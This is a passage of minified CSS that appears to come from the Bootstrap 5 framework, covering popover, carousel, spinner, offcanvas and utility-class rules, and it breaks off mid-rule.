.popover-arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow,.bs-popover-top>.popover-arrow{bottom:calc(-.5rem - 1px)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-top>.popover-arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow,.bs-popover-end>.popover-arrow{left:calc(-.5rem - 1px);width:.5rem;height:1rem}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-end>.popover-arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow,.bs-popover-bottom>.popover-arrow{top:calc(-.5rem - 1px)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[data-popper-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f0f0f0}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow,.bs-popover-start>.popover-arrow{right:calc(-.5rem - 1px);width:.5rem;height:1rem}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-start>.popover-arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem 1rem;margin-bottom:0;font-size:1rem;background-color:#f0f0f0;border-bottom:1px solid rgba(0,0,0,.2);border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:1rem 1rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-end,.carousel-item-next:not(.carousel-item-start){transform:translateX(100%)}.active.carousel-item-start,.carousel-item-prev:not(.carousel-item-end){transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item-next.carousel-item-start,.carousel-fade .carousel-item-prev.carousel-item-end,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:2rem;height:2rem;background-repeat:no-repeat;background-position:50%;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:2;display:flex;justify-content:center;padding:0;margin-right:15%;margin-bottom:1rem;margin-left:15%;list-style:none}.carousel-indicators [data-bs-target]{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;padding:0;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border:0;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators [data-bs-target]{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:1.25rem;left:15%;padding-top:1.25rem;padding-bottom:1.25rem;color:#fff;text-align:center}.carousel-dark .carousel-control-next-icon,.carousel-dark .carousel-control-prev-icon{filter:invert(1) grayscale(100)}.carousel-dark .carousel-indicators [data-bs-target]{background-color:#000}.carousel-dark .carousel-caption{color:#000}@-webkit-keyframes spinner-border{to{transform:rotate(360deg)}}@keyframes spinner-border{to{transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;border:.25em solid currentColor;border-right-color:transparent;border-radius:50%;-webkit-animation:.75s linear infinite spinner-border;animation:.75s linear infinite spinner-border}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@-webkit-keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:-.125em;background-color:currentColor;border-radius:50%;opacity:0;-webkit-animation:.75s linear infinite spinner-grow;animation:.75s linear infinite spinner-grow}.spinner-grow-sm{width:1rem;height:1rem}@media (prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{-webkit-animation-duration:1.5s;animation-duration:1.5s}}.offcanvas{position:fixed;bottom:0;z-index:1045;display:flex;flex-direction:column;max-width:100%;visibility:hidden;background-color:#fff;background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}@media (prefers-reduced-motion:reduce){.offcanvas{transition:none}}.offcanvas-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.offcanvas-backdrop.fade{opacity:0}.offcanvas-backdrop.show{opacity:.5}.offcanvas-header{display:flex;align-items:center;justify-content:space-between;padding:1rem 1rem}.offcanvas-header .btn-close{padding:.5rem .5rem;margin-top:-.5rem;margin-right:-.5rem;margin-bottom:-.5rem}.offcanvas-title{margin-bottom:0;line-height:1.5}.offcanvas-body{flex-grow:1;padding:1rem 1rem;overflow-y:auto}.offcanvas-start{top:0;left:0;width:400px;border-right:1px solid rgba(0,0,0,.2);transform:translateX(-100%)}.offcanvas-end{top:0;right:0;width:400px;border-left:1px solid rgba(0,0,0,.2);transform:translateX(100%)}.offcanvas-top{top:0;right:0;left:0;height:30vh;max-height:100%;border-bottom:1px solid rgba(0,0,0,.2);transform:translateY(-100%)}.offcanvas-bottom{right:0;left:0;height:30vh;max-height:100%;border-top:1px solid rgba(0,0,0,.2);transform:translateY(100%)}.offcanvas.show{transform:none}.placeholder{display:inline-block;min-height:1em;vertical-align:middle;cursor:wait;background-color:currentColor;opacity:.5}.placeholder.btn::before{display:inline-block;content:""}.placeholder-xs{min-height:.6em}.placeholder-sm{min-height:.8em}.placeholder-lg{min-height:1.2em}.placeholder-glow .placeholder{-webkit-animation:placeholder-glow 2s ease-in-out infinite;animation:placeholder-glow 2s ease-in-out infinite}@-webkit-keyframes placeholder-glow{50%{opacity:.2}}@keyframes placeholder-glow{50%{opacity:.2}}.placeholder-wave{-webkit-mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);-webkit-mask-size:200% 100%;mask-size:200% 100%;-webkit-animation:placeholder-wave 2s linear infinite;animation:placeholder-wave 2s linear infinite}@-webkit-keyframes placeholder-wave{100%{-webkit-mask-position:-200% 0%;mask-position:-200% 0%}}@keyframes placeholder-wave{100%{-webkit-mask-position:-200% 0%;mask-position:-200% 0%}}.clearfix::after{display:block;clear:both;content:""}.link-primary{color:#0d6efd}.link-primary:focus,.link-primary:hover{color:#0a58ca}.link-secondary{color:#6c757d}.link-secondary:focus,.link-secondary:hover{color:#565e64}.link-success{color:#198754}.link-success:focus,.link-success:hover{color:#146c43}.link-info{color:#0dcaf0}.link-info:focus,.link-info:hover{color:#3dd5f3}.link-warning{color:#ffc107}.link-warning:focus,.link-warning:hover{color:#ffcd39}.link-danger{color:#dc3545}.link-danger:focus,.link-danger:hover{color:#b02a37}.link-light{color:#f8f9fa}.link-light:focus,.link-light:hover{color:#f9fafb}.link-dark{color:#212529}.link-dark:focus,.link-dark:hover{color:#1a1e21}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:""}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio:100%}.ratio-4x3{--bs-aspect-ratio:calc(3 / 4 * 100%)}.ratio-16x9{--bs-aspect-ratio:calc(9 / 16 * 100%)}.ratio-21x9{--bs-aspect-ratio:calc(9 / 21 * 100%)}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}@media (min-width:576px){.sticky-sm-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:768px){.sticky-md-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:992px){.sticky-lg-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:1200px){.sticky-xl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}@media (min-width:1400px){.sticky-xxl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){position:absolute!important;width:1px!important;height:1px!important;padding:0!important;margin:-1px!important;overflow:hidden!important;clip:rect(0,0,0,0)!important;white-space:nowrap!important;border:0!important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:""}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:1px;min-height:1em;background-color:currentColor;opacity:.25}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.float-start{float:left!important}.float-end{float:right!important}.float-none{float:none!important}.opacity-0{opacity:0!important}.opacity-25{opacity:.25!important}.opacity-50{opacity:.5!important}.opacity-75{opacity:.75!important}.opacity-100{opacity:1!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.overflow-visible{overflow:visible!important}.overflow-scroll{overflow:scroll!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-grid{display:grid!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}.d-none{display:none!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.top-0{top:0!important}.top-50{top:50%!important}.top-100{top:100%!important}.bottom-0{bottom:0!important}.bottom-50{bottom:50%!important}.bottom-100{bottom:100%!important}.start-0{left:0!important}.start-50{left:50%!important}.start-100{left:100%!important}.end-0{right:0!important}.end-50{right:50%!important}.end-100{right:100%!important}.translate-middle{transform:translate(-50%,-50%)!important}.translate-middle-x{transform:translateX(-50%)!important}.translate-middle-y{transform:translateY(-50%)!important}.border{border:1px solid #dee2e6!important}.border-0{border:0!important}.border-top{border-top:1px solid #dee2e6!important}.border-top-0{border-top:0!important}.border-end{border-right:1px solid #dee2e6!important}.border-end-0{border-right:0!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-bottom-0{border-bottom:0!important}.border-start{border-left:1px solid #dee2e6!important}.border-start-0{border-left:0!important}.border-primary{border-color:#0d6efd!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#198754!important}.border-info{border-color:#0dcaf0!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#212529!important}.border-white{border-color:#fff!important}.border-1{border-width:1px!important}.border-2{border-width:2px!important}.border-3{border-width:3px!important}.border-4{border-width:4px!important}.border-5{border-width:5px!important}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.mw-100{max-width:100%!important}.vw-100{width:100vw!important}.min-vw-100{min-width:100vw!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mh-100{max-height:100%!important}.vh-100{height:100vh!important}.min-vh-100{min-height:100vh!important}.flex-fill{flex:1 1 auto!important}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-0{gap:0!important}.gap-1{gap:.25rem!important}.gap-2{gap:.5rem!important}.gap-3{gap:1rem!important}.gap-4{gap:1.5rem!important}.gap-5{gap:3rem!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.justify-content-evenly{justify-content:space-evenly!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}.order-first{order:-1!important}.order-0{order:0!important}.order-1{order:1!important}.order-2{order:2!important}.order-3{order:3!important}.order-4{order:4!important}.order-5{order:5!important}.order-last{order:6!important}.m-0{margin:0!important}.m-1{margin:.25rem!important}.m-2{margin:.5rem!important}.m-3{margin:1rem!important}.m-4{margin:1.5rem!important}.m-5{margin:3rem!important}.m-auto{margin:auto!important}.mx-0{margin-right:0!important;margin-left:0!important}.mx-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-3{margin-right:1rem!important;margin-left:1rem!important}.mx-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-5{margin-right:3rem!important;margin-left:3rem!important}.mx-auto{margin-right:auto!important;margin-left:auto!important}.my-0{margin-top:0!important;margin-bottom:0!important}.my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-0{margin-top:0!important}.mt-1{margin-top:.25rem!important}.mt-2{margin-top:.5rem!important}.mt-3{margin-top:1rem!important}.mt-4{margin-top:1.5rem!important}.mt-5{margin-top:3rem!important}.mt-auto{margin-top:auto!important}.me-0{margin-right:0!important}.me-1{margin-right:.25rem!important}.me-2{margin-right:.5rem!important}.me-3{margin-right:1rem!important}.me-4{margin-right:1.5rem!important}.me-5{margin-right:3rem!important}.me-auto{margin-right:auto!important}.mb-0{margin-bottom:0!important}.mb-1{margin-bottom:.25rem!important}.mb-2{margin-bottom:.5rem!important}.mb-3{margin-bottom:1rem!important}.mb-4{margin-bottom:1.5rem!important}.mb-5{margin-bottom:3rem!important}.mb-auto{margin-bottom:auto!important}.ms-0{margin-left:0!important}.ms-1{margin-left:.25rem!important}.ms-2{margin-left:.5rem!important}.ms-3{margin-left:1rem!important}.ms-4{margin-left:1.5rem!important}.ms-5{margin-left:3rem!important}.ms-auto{margin-left:auto!important}.p-0{padding:0!important}.p-1{padding:.25rem!important}.p-2{padding:.5rem!important}.p-3{padding:1rem!important}.p-4{padding:1.5rem!important}.p-5{padding:3rem!important}.px-0{padding-right:0!important;padding-left:0!important}.px-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-3{padding-right:1rem!important;padding-left:1rem!important}.px-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-5{padding-right:3rem!important;padding-left:3rem!important}.py-0{padding-top:0!important;padding-bottom:0!important}.py-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-0{padding-top:0!important}.pt-1{padding-top:.25rem!important}.pt-2{padding-top:.5rem!important}.pt-3{padding-top:1rem!important}.pt-4{padding-top:1.5rem!important}.pt-5{padding-top:3rem!important}.pe-0{padding-right:0!important}.pe-1{padding-right:.25rem!important}.pe-2{padding-right:.5rem!important}.pe-3{padding-right:1rem!important}.pe-4{padding-right:1.5rem!important}.pe-5{padding-right:3rem!important}.pb-0{padding-bottom:0!important}.pb-1{padding-bottom:.25rem!important}.pb-2{padding-bottom:.5rem!important}.pb-3{padding-bottom:1rem!important}.pb-4{padding-bottom:1.5rem!important}.pb-5{padding-bottom:3rem!important}.ps-0{padding-left:0!important}.ps-1{padding-left:.25rem!important}.ps-2{padding-left:.5rem!important}.ps-3{padding-left:1rem!important}.ps-4{padding-left:1.5rem!important}.ps-5{padding-left:3rem!important}.font-monospace{font-family:var(--bs-font-monospace)!important}.fs-1{font-size:calc(1.375rem + 1.5vw)!important}.fs-2{font-size:calc(1.325rem + .9vw)!important}.fs-3{font-size:calc(1.3rem + .6vw)!important}.fs-4{font-size:calc(1.275rem + .3vw)!important}.fs-5{font-size:1.25rem!important}.fs-6{font-size:1rem!important}.fst-italic{font-style:italic!important}.fst-normal{font-style:normal!important}.fw-light{font-weight:300!important}.fw-lighter{font-weight:lighter!important}.fw-normal{font-weight:400!important}.fw-bold{font-weight:700!important}.fw-bolder{font-weight:bolder!important}.lh-1{line-height:1!important}.lh-sm{line-height:1.25!important}.lh-base{line-height:1.5!important}.lh-lg{line-height:2!important}.text-start{text-align:left!important}.text-end{text-align:right!important}.text-center{text-align:center!important}.text-decoration-none{text-decoration:none!important}.text-decoration-underline{text-decoration:underline!important}.text-decoration-line-through{text-decoration:line-through!important}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-break{word-wrap:break-word!important;word-break:break-word!important}.text-primary{--bs-text-opacity:1;color:rgba(var(--bs-primary-rgb),var(--bs-text-opacity))!important}.text-secondary{--bs-text-opacity:1;color:rgba(var(--bs-secondary-rgb),var(--bs-text-opacity))!important}.text-success{--bs-text-opacity:1;color:rgba(var(--bs-success-rgb),var(--bs-text-opacity))!important}.text-info{--bs-text-opacity:1;color:rgba(var(--bs-info-rgb),var(--bs-text-opacity))!important}.text-warning{--bs-text-opacity:1;color:rgba(var(--bs-warning-rgb),var(--bs-text-opacity))!important}.text-danger{--bs-text-opacity:1;color:rgba(var(--bs-danger-rgb),var(--bs-text-opacity))!important}.text-light{--bs-text-opacity:1;color:rgba(var(--bs-light-rgb),var(--bs-text-opacity))!important}.text-dark{--bs-text-opacity:1;color:rgba(var(--bs-dark-rgb),var(--bs-text-opacity))!important}.text-black{--bs-text-opacity:1;color:rgba(var(--bs-black-rgb),var(--bs-text-opacity))!important}.text-white{--bs-text-opacity:1;color:rgba(var(--bs-white-rgb),var(--bs-text-opacity))!important}.text-body{--bs-text-opacity:1;color:rgba(var(--bs-body-rgb),var(--bs-text-opacity))!important}.text-muted{--bs-text-opacity:1;color:#6c757d!important}.text-black-50{--bs-text-opacity:1;color:rgba(0,0,0,.5)!important}.text-white-50{--bs-text-opacity:1;color:rgba(255,255,255,.5)!important}.text-reset{--bs-text-opacity:1;color:inherit!important}.text-opacity-25{--bs-text-opacity:0.25}.text-opacity-50{--bs-text-opacity:0.5}.text-opacity-75{--bs-text-opacity:0.75}.text-opacity-100{--bs-text-opacity:1}.bg-primary{--bs-bg-opacity:1;background-color:rgba(var(--bs-primary-rgb),var(--bs-bg-opacity))!important}.bg-secondary{--bs-bg-opacity:1;background-color:rgba(var(--bs-secondary-rgb),var(--bs-bg-opacity))!important}.bg-success{--bs-bg-opacity:1;background-color:rgba(var(--bs-success-rgb),var(--bs-bg-opacity))!important}.bg-info{--bs-bg-opacity:1;background-color:rgba(var(--bs-info-rgb),var(--bs-bg-opacity))!important}.bg-warning{--bs-bg-opacity:1;background-color:rgba(var(--bs-warning-rgb),var(--bs-bg-opacity))!important}.bg-danger{--bs-bg-opacity:1;background-color:rgba(var(--bs-danger-rgb),var(--bs-bg-opacity))!important}.bg-light{--bs-bg-opacity:1;background-color:rgba(var(--bs-light-rgb),var(--bs-bg-opacity))!important}.bg-dark{--bs-bg-opacity:1;background-color:rgba(var(--bs-dark-rgb),var(--bs-bg-opacity))!important}.bg-black{--bs-bg-opacity:1;background-color:rgba(var(--bs-black-rgb),var(--bs-bg-opacity))!important}.bg-white{--bs-bg-opacity:1;background-color:rgba(var(--bs-white-rgb),var(--bs-bg-opacity))!important}.bg-body{--bs-bg-opacity:1;background-color:rgba(var(--bs-body-rgb),var(--bs-bg-opacity))!important}.bg-transparent{--bs-bg-opacity:1;background-color:transparent!important}.bg-opacity-10{--bs-bg-opacity:0.1}.bg-opacity-25{--bs-bg-opacity:0.25}.bg-opacity-50{--bs-bg-opacity:0.5}.bg-opacity-75{--bs-bg-opacity:0.75}.bg-opacity-100{--bs-bg-opacity:1}.bg-gradient{background-image:var(--bs-gradient)!important}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;user-select:none!important}.pe-none{pointer-events:none!important}.pe-auto{pointer-events:auto!important}.rounded{border-radius:.25rem!important}.rounded-0{border-radius:0!important}.rounded-1{border-radius:.2rem!important}.rounded-2{border-radius:.25rem!important}.rounded-3{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-end{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-start{border-bottom-left-radius:.25rem!important;border-top-left-radius:.25rem!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media (min-width:576px){.float-sm-start{float:left!important}.float-sm-end{float:right!important}.float-sm-none{float:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-grid{display:grid!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}.d-sm-none{display:none!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-sm-0{gap:0!important}.gap-sm-1{gap:.25rem!important}.gap-sm-2{gap:.5rem!important}.gap-sm-3{gap:1rem!important}.gap-sm-4{gap:1.5rem!important}.gap-sm-5{gap:3rem!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.justify-content-sm-evenly{justify-content:space-evenly!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}.order-sm-first{order:-1!important}.order-sm-0{order:0!important}.order-sm-1{order:1!important}.order-sm-2{order:2!important}.order-sm-3{order:3!important}.order-sm-4{order:4!important}.order-sm-5{order:5!important}.order-sm-last{order:6!important}.m-sm-0{margin:0!important}.m-sm-1{margin:.25rem!important}.m-sm-2{margin:.5rem!important}.m-sm-3{margin:1rem!important}.m-sm-4{margin:1.5rem!important}.m-sm-5{margin:3rem!important}.m-sm-auto{margin:auto!important}.mx-sm-0{margin-right:0!important;margin-left:0!important}.mx-sm-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-sm-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-sm-3{margin-right:1rem!important;margin-left:1rem!important}.mx-sm-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-sm-5{margin-right:3rem!important;margin-left:3rem!important}.mx-sm-auto{margin-right:auto!important;margin-left:auto!important}.my-sm-0{margin-top:0!important;margin-bottom:0!important}.my-sm-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-sm-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-sm-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-sm-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-sm-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-sm-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-sm-0{margin-top:0!important}.mt-sm-1{margin-top:.25rem!important}.mt-sm-2{margin-top:.5rem!important}.mt-sm-3{margin-top:1rem!important}.mt-sm-4{margin-top:1.5rem!important}.mt-sm-5{margin-top:3rem!important}.mt-sm-auto{margin-top:auto!important}.me-sm-0{margin-right:0!important}.me-sm-1{margin-right:.25rem!important}.me-sm-2{margin-right:.5rem!important}.me-sm-3{margin-right:1rem!important}.me-sm-4{margin-right:1.5rem!important}.me-sm-5{margin-right:3rem!important}.me-sm-auto{margin-right:auto!important}.mb-sm-0{margin-bottom:0!important}.mb-sm-1{margin-bottom:.25rem!important}.mb-sm-2{margin-bottom:.5rem!important}.mb-sm-3{margin-bottom:1rem!important}.mb-sm-4{margin-bottom:1.5rem!important}.mb-sm-5{margin-bottom:3rem!important}.mb-sm-auto{margin-bottom:auto!important}.ms-sm-0{margin-left:0!important}.ms-sm-1{margin-left:.25rem!important}.ms-sm-2{margin-left:.5rem!important}.ms-sm-3{margin-left:1rem!important}.ms-s